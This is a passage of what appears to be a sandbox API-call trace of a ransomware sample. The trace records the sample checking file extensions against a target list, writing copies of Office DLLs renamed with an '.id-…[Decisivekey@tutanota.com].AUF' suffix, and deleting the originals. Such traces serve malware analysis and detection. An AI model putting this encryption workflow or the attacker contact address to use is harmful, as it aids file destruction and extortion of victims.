(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.210] lstrlenW (lpString=".1cd") returned 4 [0219.210] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.210] lstrlenW (lpString=".jpg") returned 4 [0219.210] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.210] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".AUF") returned 1 [0219.210] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0219.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.211] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=55680) returned 1 [0219.211] CloseHandle (hObject=0x1d8) returned 1 [0219.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0219.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.211] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.211] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.212] GetLastError () returned 0x0 [0219.212] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xd980, lpOverlapped=0x0) returned 1 [0219.227] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xd990, lpOverlapped=0x0) returned 1 [0219.229] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.229] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0219.229] SetEndOfFile (hFile=0x1e4) returned 1 [0219.229] CloseHandle (hObject=0x1e4) returned 1 [0219.229] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.229] SetEndOfFile (hFile=0x1d8) returned 1 [0219.230] CloseHandle (hObject=0x1d8) returned 1 [0219.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.230] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0219.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.230] lstrlenW (lpString=".doc") returned 4 [0219.230] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.230] lstrlenW (lpString=".docx") returned 5 [0219.230] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.230] lstrlenW (lpString=".pdf") returned 4 [0219.230] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.230] lstrlenW (lpString=".xls") returned 4 [0219.230] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.230] lstrlenW (lpString=".xlsx") returned 5 [0219.230] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.230] lstrlenW (lpString=".ppt") returned 4 [0219.230] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".zip") returned 4 [0219.231] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".rar") returned 4 [0219.231] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".bz2") returned 4 [0219.231] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".7z") returned 3 [0219.231] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".dbf") returned 4 [0219.231] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".1cd") returned 4 [0219.231] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".jpg") returned 4 [0219.231] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".doc") returned 4 [0219.231] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".docx") returned 5 [0219.231] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.231] lstrlenW (lpString=".pdf") returned 4 [0219.231] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".xls") returned 4 [0219.231] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".xlsx") returned 5 [0219.231] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.231] lstrlenW (lpString=".ppt") returned 4 [0219.231] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".zip") returned 4 [0219.231] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".rar") returned 4 [0219.231] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".bz2") returned 4 [0219.231] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.231] lstrlenW (lpString=".7z") returned 3 [0219.231] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.231] lstrlenW (lpString=".dbf") returned 4 [0219.232] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.232] lstrlenW (lpString=".1cd") returned 4 [0219.232] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.232] lstrlenW (lpString=".jpg") returned 4 [0219.232] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.232] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".AUF") returned 1 [0219.232] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0219.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.232] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1388416) returned 1 [0219.232] CloseHandle (hObject=0x1d8) returned 1 [0219.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0219.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.233] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.233] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.234] GetLastError () returned 0x0 [0219.234] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0219.281] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0219.296] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x52f90, lpOverlapped=0x0) returned 1 [0219.395] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0219.404] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.404] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0219.404] SetEndOfFile (hFile=0x1e4) returned 1 [0219.405] CloseHandle (hObject=0x1e4) returned 1 [0219.405] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.405] SetEndOfFile (hFile=0x1d8) returned 1 [0219.416] CloseHandle (hObject=0x1d8) returned 1 [0219.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.416] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0219.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.416] lstrlenW (lpString=".doc") returned 4 [0219.416] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.416] lstrlenW (lpString=".docx") returned 5 [0219.416] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.416] lstrlenW (lpString=".pdf") returned 4 [0219.417] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".xls") returned 4 [0219.417] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".xlsx") returned 5 [0219.417] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.417] lstrlenW (lpString=".ppt") returned 4 [0219.417] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".zip") returned 4 [0219.417] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".rar") returned 4 [0219.417] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".bz2") returned 4 [0219.417] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".7z") returned 3 [0219.417] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".dbf") returned 4 [0219.417] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".1cd") returned 4 [0219.417] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".jpg") returned 4 [0219.417] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".doc") returned 4 [0219.417] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".docx") returned 5 [0219.417] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.417] lstrlenW (lpString=".pdf") returned 4 [0219.417] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".xls") returned 4 [0219.417] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".xlsx") returned 5 [0219.417] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.417] lstrlenW (lpString=".ppt") returned 4 [0219.417] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".zip") returned 4 [0219.417] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".rar") returned 4 [0219.417] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".bz2") returned 4 [0219.417] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.417] lstrlenW (lpString=".7z") returned 3 [0219.417] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.417] lstrlenW (lpString=".dbf") returned 4 [0219.418] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.418] lstrlenW (lpString=".1cd") returned 4 [0219.418] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0219.418] lstrlenW (lpString=".jpg") returned 4 [0219.418] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.418] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.418] lstrlenW (lpString="ACEERR.DLL") returned 10 [0219.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.422] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=43408) returned 1 [0219.422] CloseHandle (hObject=0x180) returned 1 [0219.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0219.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.422] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.422] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.423] GetLastError () returned 0x0 [0219.423] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xa990, lpOverlapped=0x0) returned 1 [0219.725] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0219.727] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.727] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0219.727] SetEndOfFile (hFile=0x220) returned 1 [0219.727] CloseHandle (hObject=0x220) returned 1 [0219.727] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.727] SetEndOfFile (hFile=0x180) returned 1 [0219.728] CloseHandle (hObject=0x180) returned 1 [0219.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.728] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0219.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.728] lstrlenW (lpString=".doc") returned 4 [0219.728] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.728] lstrlenW (lpString=".docx") returned 5 [0219.728] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.728] lstrlenW (lpString=".pdf") returned 4 [0219.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.728] lstrlenW (lpString=".xls") returned 4 [0219.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.728] lstrlenW (lpString=".xlsx") returned 5 [0219.728] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.728] lstrlenW (lpString=".ppt") returned 4 [0219.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.728] lstrlenW (lpString=".zip") returned 4 [0219.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".rar") returned 4 [0219.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".bz2") returned 4 [0219.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.729] lstrlenW (lpString=".7z") returned 3 [0219.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".dbf") returned 4 [0219.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".1cd") returned 4 [0219.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".jpg") returned 4 [0219.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".doc") returned 4 [0219.729] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".docx") returned 5 [0219.729] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.729] lstrlenW (lpString=".pdf") returned 4 [0219.729] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".xls") returned 4 [0219.729] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".xlsx") returned 5 [0219.729] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.729] lstrlenW 